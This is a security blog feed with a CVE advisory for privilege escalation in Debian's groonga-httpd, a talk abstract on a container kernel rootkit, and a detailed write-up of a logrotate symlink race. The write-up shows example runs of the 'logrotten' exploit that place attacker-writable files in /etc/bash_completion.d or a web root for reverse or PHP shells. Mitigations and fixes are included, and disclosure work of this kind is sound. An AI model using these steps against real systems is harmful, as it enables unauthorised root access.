Security https://tech.feedyourhead.at/tags/security en Privilege escalation in groonga-httpd (CVE-2019-11675) https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd <span class="field field--name-title field--type-string field--label-hidden">Privilege escalation in groonga-httpd (CVE-2019-11675)</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><h3>Overview</h3> <ul> <li>System affected: Debian packages of groonga/-httpd 6.1.5-1</li> <li>Software-Version: 6.1.5-1</li> <li>User-Interaction: Not required</li> <li>Impact: Local root</li> <li>CVE: CVE-2019-11675</li> </ul> <h3>Detailed Description</h3> <p>The path of the logdirectory of groonga-httpd can be manipulated by user groonga:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #660033;">-l</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>groonga total <span style="color: #000000;">8</span> <span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> root root <span style="color: #000000;">1296</span> Apr <span style="color: #000000;">25</span> <span style="color: #000000;">18</span>:<span style="color: #000000;">44</span> groonga.log drwxr-xr-x <span style="color: #000000;">2</span> groonga groonga <span style="color: #000000;">4096</span> Apr <span style="color: #000000;">25</span> <span style="color: #000000;">18</span>:<span style="color: #000000;">55</span> httpd</pre></div></pre> <p>The files in /var/log/groonga/httpd/*.log are once a day rotated by logrotate as user root with the following config:</p> <pre> /var/log/groonga/httpd/*.log { daily missingok rotate 30 compress delaycompress notifempty create 640 groonga groonga sharedscripts postrotate . /etc/default/groonga-httpd if [ x"$ENABLE" = x"yes" ]; then /usr/bin/curl --silent --output /dev/null \ "http://127.0.0.1:10041/d/log_reopen" fi endscript } </pre> <p>Due to <a href="https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition">logrotate is prone to a race-condition</a> it is possible for user "groonga" to replace the directory /var/log/groonga/httpd with a symbolik link to any directory(for example /etc/bash_completion.d). logrotate will place files AS ROOT into /etc/bash_completition.d and set the owner and group to "groonga.groonga". An attacker could simply place a reverse-shell into this file. As soon as root logs in, a reverse shell will be executed then.</p> <h3>Exploit</h3> <p>A proof-of-concept exploit can be found at <a href="https://github.com/whotwagner/logrotten">https://github.com/whotwagner/logrotten</a></p> <h3>Mitigation</h3> <p>The problem can be mitigated by changing the owner and group of /var/log/groonga to root, or by using the "su option" inside the logrotate-configfile.</p> <h3>Credits</h3> <p>This bug was discovered by Wolfgang Hotwagner(https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd)</p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">May 07 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/107" hreflang="en">CVE</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Linux" hreflang="en">Linux</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/debian" hreflang="en">Debian</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=278&amp;2=comment&amp;3=comment" token="gm3BXsVi-55Kr8NZ8Sqnkq-hgDkw5pOYeXcWUQ1uut0"></drupal-render-placeholder> </section> Tue, 07 May 2019 20:32:56 +0000 Hoti 278 at https://tech.feedyourhead.at Anatomy of a Linux container rootkit https://tech.feedyourhead.at/content/anatomy-of-a-linux-container-rootkit <span class="field field--name-title field--type-string field--label-hidden">Anatomy of a Linux container rootkit </span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>This year I gave a talk at the <a href="https://eh19.easterhegg.eu">Easterhegg 2019</a> about a Linux kernel rootkit that can handle containers. I mainly presented my Bachelor work from 2017 with some improvements.</p> <h2>Abstract</h2> <p>Linux Containers are becoming increasingly popular. Therefore, it is likely that there will be an increase of attacks against container systems. After successfully attacking all the security mechanisms of a container system, a “rootkit“ could be planted. This talk provides details of the anatomy of such a rootkit. First the main functions of rootkits are explained. After a brief introduction of Linux Containers and Linux Kernel Rootkits, a Kernel Rootkit called “themaster“, developed by the author of this thesis, is described and explained. Well known rootkit methods are used to implement functions to hide resources and escalate privileges. Results indicate that in container systems, patching system calls are the preferred method for functions which are globally accessible. For providing rootkit functionality in specific containers, patching the virtual file system is the better approach. A special backdoor for breaking out of the container is also applied and “themaster“ operates stealthily.</p> <h2>Talk</h2> <p><iframe allowfullscreen="" frameborder="0" height="576" src="https://media.ccc.de/v/eh19-168-anatomie-eines-containerfhigen-linux-kernel-rootkits/oembed" width="800"></iframe></p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">May 07 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Linux" hreflang="en">Linux</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/kernel" hreflang="en">Kernel</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/docker" hreflang="en">Docker</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=277&amp;2=comment&amp;3=comment" token="A4P5IdLVLXs7imc4kAPeqdjBNNH5UZ2lfM9NktsbF-U"></drupal-render-placeholder> </section> Tue, 07 May 2019 20:03:34 +0000 Hoti 277 at https://tech.feedyourhead.at Details of a logrotate race-condition https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition <span class="field field--name-title field--type-string field--label-hidden">Details of a logrotate race-condition</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p> </p> <p>Logrotate is prone to a race-condition on systems with a log directory that is in control of a low privileged user. A malicious user could trick logrotate to create files in any directory if it is executed as root. This might lead into a privileged escalation.</p> <h2>Description</h2> <p>In the linux man page logrotate is described as follows:</p> <blockquote> <p><strong>logrotate</strong> is designed to ease administration of systems that generate large numbers of log files. It allows automatic rotation, compression, removal, and mailing of log files. Each log file may be handled daily, weekly, monthly, or when it grows too large.</p> </blockquote> <p>On most linux distributions, logrotate is executed automatically once a day as user root.</p> <p>Logrotate supports different methods for creating new files. For example the directive "copy" makes a copy of the logfile and "create" creates a new empty logfile after rotating. If someone exchanges the log directory with a symbolic link just before creating the new logfile, logrotate will put the new file into a different directory.</p> <p>As shown in the diagram below such a scenario can be exploited if logrotate runs as user root and a low privileged user is in control of the path to the log directory. If this user exchanges the log directory with a symbolic link at the right time, logrotate will write the new file into the linked directory. After that the permissions of the created file will be adjusted and the attacker might have write access to that file.</p> <p><img alt="logrotate race-condition squence diagram" data-entity-type="file" data-entity-uuid="7107350b-2651-4742-bc62-18893ffd5e17" src="/sites/default/files/inline-images/sequence.png" /></p> <h2>Exploit</h2> <p>The race-condition can be exploited by setting a inotify-hook at the logfile. As soon as logrotate hits the logfile, the exploit gets notified and exchanges the log directory by a symbolic link to /etc/bash_completion.d. Logrotate will then create the new logfile into /etc/bash_completion.d as root and will adjust the owner and permissions of that file afterwards. The new logfile will be writable if logrotate is configured to set the owner of the file to the uid of the malicious user. Therefore the attacker can write a payload for a reverse shell into this file. As soon as root logs in, the reverse shell will be executed and spawns a root shell for the attacker.</p> <p>An implementation of such an exploit could be found at <a href="https://github.com/whotwagner/logrotten">https://github.com/whotwagner/logrotten</a></p> <p>Using inotify has its limitations. It is too slow on filesystems that are on top of lvm2-volumes or overlayfs.</p> <h2>Examples</h2> <p>The following examples show different setups in which logrotate can be exploited:</p> <h3>1) Logfile owner is a user. Compress option is set</h3> <p>In this example the path is in control of user alice and the “compress”-directive is set in logrotate. The exploit hooks the IN_OPEN-operation of the file file.log.1. After the daily run of logrotate, a file with owner alice can be found at <i>/</i><i>etc/bash_completion.d/file.log.1.gz.</i></p> <p>The log directory is inside the home directory of user alice:</p> <pre><div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  drwxr-xr-x <span style="color: #000000;">2</span> alice alice <span style="color: #000000;">4096</span> Apr <span style="color: #000000;">30</span> 09:<span style="color: #000000;">40</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>alice<span style="color: #000000; font-weight: bold;">/</span>logdir </pre></div></pre> <p>Alice has permissions for writing to the logfile:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  <span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> alice alice <span style="color: #000000;">200000</span> Apr <span style="color: #000000;">30</span> 09:<span style="color: #000000;">40</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>alice<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log </pre></div></pre> <p>The directive "compress" is used inside the logrotate configuration:</p> <pre> <code> /home/alice/logdir/file.log { daily rotate 12 missingok notifempty size 1k compress } </code></pre> <p>Alice runs the exploit by setting the hook to file.log.1 and with the parameter for compression. The exploit gets executed when cron runs logrotate as root:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"><span style="color: #666666;">alice@localhost$ </span>.<span style="color: #000000; font-weight: bold;">/</span>logrotten <span style="color: #660033;">-c</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>alice<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log.1 Waiting <span style="color: #000000; font-weight: bold;">for</span> rotating <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>alice<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log.1... Renamed <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>alice<span style="color: #000000; font-weight: bold;">/</span>logdir with <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>alice<span style="color: #000000; font-weight: bold;">/</span>logdir2 and created symlink to <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d Done<span style="color: #000000; font-weight: bold;">!</span></pre></div></pre> <p>The compressed logfile is created in /etc/bash_completion.d with owner alice:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"><span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> alice alice <span style="color: #000000;">200053</span> Apr <span style="color: #000000;">30</span> 09:<span style="color: #000000;">40</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d<span style="color: #000000; font-weight: bold;">/</span>file.log.1.gz</pre></div></pre> <h3>2) Logfile owner is root.root but with acl’s that permit a user to write the logfile.</h3> <p>This example illustrates a case where the insecure configuration is not obvious. User root owns the complete path and the logfile. But there are ACL’s set that allows user www-data to modify the directory /var/www/project and the logfile /var/www/project/logdir/file.log. As soon as logrotate triggers the exploit, a new file /etc/bash_completion.d/file.log will be created and the ACL’s copied.</p> <p>Permissions of the log directory. It is owned by root but ACL’s are in use:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">drwxrwxr-x+ <span style="color: #000000;">2</span> root root <span style="color: #000000;">4096</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:09 <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>logdir</pre></div></pre> <p>The logfile is also woned by root with ACL’s set:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">-rw-rw-r--+ <span style="color: #000000;">1</span> root root <span style="color: #000000;">12</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:09 <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log</pre></div></pre> <p>Access control list of /var/www/project:</p> <pre> <code> # file: var/www/project # owner: root # group: root user::rwx user:www-data:rwx group::r-x mask::rwx other::r-x </code></pre> <p>Access control list of /var/www/project/logdir:</p> <pre> <code> # file: var/www/project/logdir # owner: root # group: root user::rwx user:www-data:rwx group::r-x mask::rwx other::r-x default:user::rwx default:user:root:rwx default:user:www-data:rwx default:group::r-x default:mask::rwx default:other::r-x </code></pre> <p>Logrotate configuration with "create root root":</p> <pre> <code> /var/www/project/logdir/file.log { daily rotate 12 missingok notifempty size 1k create root root } </code></pre> <p>www-data executes the exploit and waits until logrotate will be started by cron:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">www-data<span style="color: #000000; font-weight: bold;">@</span>localhost$ .<span style="color: #000000; font-weight: bold;">/</span>logrotten <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log Waiting <span style="color: #000000; font-weight: bold;">for</span> rotating <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log... Renamed <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>logdir with <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>logdir2 and created symlink to <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d Done<span style="color: #000000; font-weight: bold;">!</span></pre></div></pre> <p>The new file is created in /etc/bash_completition.d with owner root and with ACL’s set:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"> -rw-rw-r--+ <span style="color: #000000;">1</span> root root <span style="color: #000000;">0</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">16</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d<span style="color: #000000; font-weight: bold;">/</span>file.log </pre></div></pre> <p>Access control list of /etc/bash_completion.d/file.log:</p> <pre> <code> # file: etc/bash_completion.d/file.log # owner: root # group: root user::rw- user:root:rwx #effective:rw- user:www-data:rwx #effective:rw- group::r-x #effective:r-- mask::rw- other::r-- </code></pre> <h3>3) Parent directory is secure and owned by root, but another directory above the parent is writable by a user. The logfile is owned by root.</h3> <p>This example shows that it is not enough to ensure that the logdir and its parent is owned by root. As long as one directory of the complete path can be modified by a user, logrotate could be exploited.</p> <p>Root owns /var/www/project/html:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">drwxr-xr-x <span style="color: #000000;">3</span> root root <span style="color: #000000;">4096</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">26</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span> </pre></div></pre> <p>Root owns /var/www/project/html/logdir/:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  drwxr-xr-x <span style="color: #000000;">2</span> root root <span style="color: #000000;">4096</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">28</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span> </pre></div></pre> <p>Only root can write the logfile:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"><span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> root root <span style="color: #000000;">0</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">28</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log </pre></div></pre> <p>User www-data can manipulate the path above the log directory:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">drwxr-xr-x <span style="color: #000000;">3</span> www-data root <span style="color: #000000;">4096</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">26</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project </pre></div></pre> <p>Logrotate configuration having the “create” directive:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log <span style="color: #7a0874; font-weight: bold;">{</span> daily rotate <span style="color: #000000;">12</span> missingok notifempty <span style="color: #c20cb9; font-weight: bold;">size</span> 1k create <span style="color: #7a0874; font-weight: bold;">}</span></pre></div></pre> <p>www-data is allowed to rename the directory /var/www/project/html:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  www-data<span style="color: #000000; font-weight: bold;">@</span>localhost$ <span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html2 </pre></div></pre> <p>www-data can create a new logdir and it will have write permissions for www-data:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  www-data<span style="color: #000000; font-weight: bold;">@</span>localhost$ <span style="color: #c20cb9; font-weight: bold;">mkdir</span> <span style="color: #660033;">-p</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir </pre></div></pre> <p>www-data can write into the new logfile:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  www-data<span style="color: #000000; font-weight: bold;">@</span>localhost$ <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">"hello world"</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log </pre></div></pre> <p>Permissions of /var/www/project/html/logdir/file.log:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  <span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> www-data www-data <span style="color: #000000;">0</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">31</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log </pre></div></pre> <p> </p> <p>User www-data executes the exploit and waits until logrotate will be started by cron:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">www-data<span style="color: #000000; font-weight: bold;">@</span>localhost$ .<span style="color: #000000; font-weight: bold;">/</span>logrotten <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log Waiting <span style="color: #000000; font-weight: bold;">for</span> rotating <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>file.log... Renamed <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir with <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>logdir2 and created symlink to <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d Done<span style="color: #000000; font-weight: bold;">!</span></pre></div></pre> <p>The new file was created in /etc/bash_completion.de with owner www-data:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  <span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> www-data www-data <span style="color: #000000;">0</span> Apr <span style="color: #000000;">30</span> <span style="color: #000000;">17</span>:<span style="color: #000000;">35</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d<span style="color: #000000; font-weight: bold;">/</span>file.log </pre></div></pre> <h3>4) Logrotate runs as low privileged user having the “su”-directive set. The path to the log directory is in control of a user of a group.</h3> <p>Using the “su”-directive is not save per se. It prevents attackers from getting root privileges, but it is still possible to gain the privileges of another user.</p> <p>Directories of /var/www are owned by www-data. Only logdirs is writeable by members of the group “loggrp”:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">drwxr-xr-x <span style="color: #000000;">2</span> www-data www-data <span style="color: #000000;">4096</span> May <span style="color: #000000;">1</span> 05:<span style="color: #000000;">21</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>html drwxrwxr-x <span style="color: #000000;">3</span> www-data loggrp <span style="color: #000000;">4096</span> May <span style="color: #000000;">1</span> 05:<span style="color: #000000;">24</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>logdirs</pre></div></pre> <p>The users www-data and myserv are members of the group loggrp:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  loggrp:x:<span style="color: #000000;">1001</span>:www-data,myserv </pre></div></pre> <p>Logrotate is configured with the “su”-directive. It will rotate logs with the privileges of www-data instead of root. The target /var/www/logdirs/example.com/* makes sure that all files inside the log directory will be rotated:</p> <pre> <code> /var/www/logdirs/example.com/* { daily rotate 12 missingok notifempty size 1k create www-data loggrp su www-data loggrp } </code></pre> <p>User “myserv” executes the exploit with the target directory “/var/www/html”:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"><span style="color: #666666;">myserv@localhost$ </span>.<span style="color: #000000; font-weight: bold;">/</span>logrotten <span style="color: #660033;">-t</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>html <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>logdirs<span style="color: #000000; font-weight: bold;">/</span>example.com<span style="color: #000000; font-weight: bold;">/</span>shell.php Waiting <span style="color: #000000; font-weight: bold;">for</span> rotating <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>logdirs<span style="color: #000000; font-weight: bold;">/</span>example.com<span style="color: #000000; font-weight: bold;">/</span>shell.php... Renamed <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>logdirs<span style="color: #000000; font-weight: bold;">/</span>example.com with <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>logdirs<span style="color: #000000; font-weight: bold;">/</span>example.com2 and created symlink to <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>html Done<span style="color: #000000; font-weight: bold;">!</span></pre></div></pre> <p>User “myserv” is now able to write any php-shell into the new created file:</p> <p> </p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">  <span style="color: #660033;">-rw-rw-r--</span> <span style="color: #000000;">1</span> www-data loggrp <span style="color: #000000;">0</span> May <span style="color: #000000;">1</span> 05:<span style="color: #000000;">47</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>shell.php </pre></div></pre> <h2>Mitigation</h2> <p>This vulnerability occurs if log files are rotated in insecure directories. Even though the “su”-directive of logrotate can prevent an attacker from becoming root, it still leaves the opportunity open to escalate to another system user(as shown in example 4).</p> <p>One way to mitigate the problem is using Apparmor or SElinux.</p> <h2>Fix</h2> <p>Vulnerable setups can be easily fixed by making sure that the path to the log directory can only be manipulated by root or the owner of the log directory. However, a vulnerable setup is not always obvious. Therefore logrotate should check the complete path to the log directory. If one element of the path is not secure logrotate has to abort with an error. Algorithms for checking a directory path could be found on the following pages:</p> <ul><li> <p><a href="http://research.cs.wisc.edu/mist/safefile/safeopen_ares2008.pdf">http://research.cs.wisc.edu/mist/safefile/safeopen_ares2008.pdf</a></p> </li> <li> <p><a href="https://wiki.sei.cmu.edu/confluence/display/c/FIO15-C.+Ensure+that+file+operations+are+performed+in+a+secure+directory">https://wiki.sei.cmu.edu/confluence/display/c/FIO15-C.+Ensure+that+file+operations+are+performed+in+a+secure+directory</a></p> </li> </ul><p>Deploying such a fix might have a huge impact. If it would be deployed at large scale it could break existing installations because it prevents logrotate from rotating in insecure setups.</p> <h2>Conclusion</h2> <p>Logrotate is widely used for rotating logfiles. As the examples above have shown, insecure configurations are not always obvious. Even though a fix could prevent privilege escalations, it might also stop logrotate from working in insecure setups.</p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">May 01 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Linux" hreflang="en">Linux</a></div> <div class="field__item"><i class="fa fa-tags"></i> 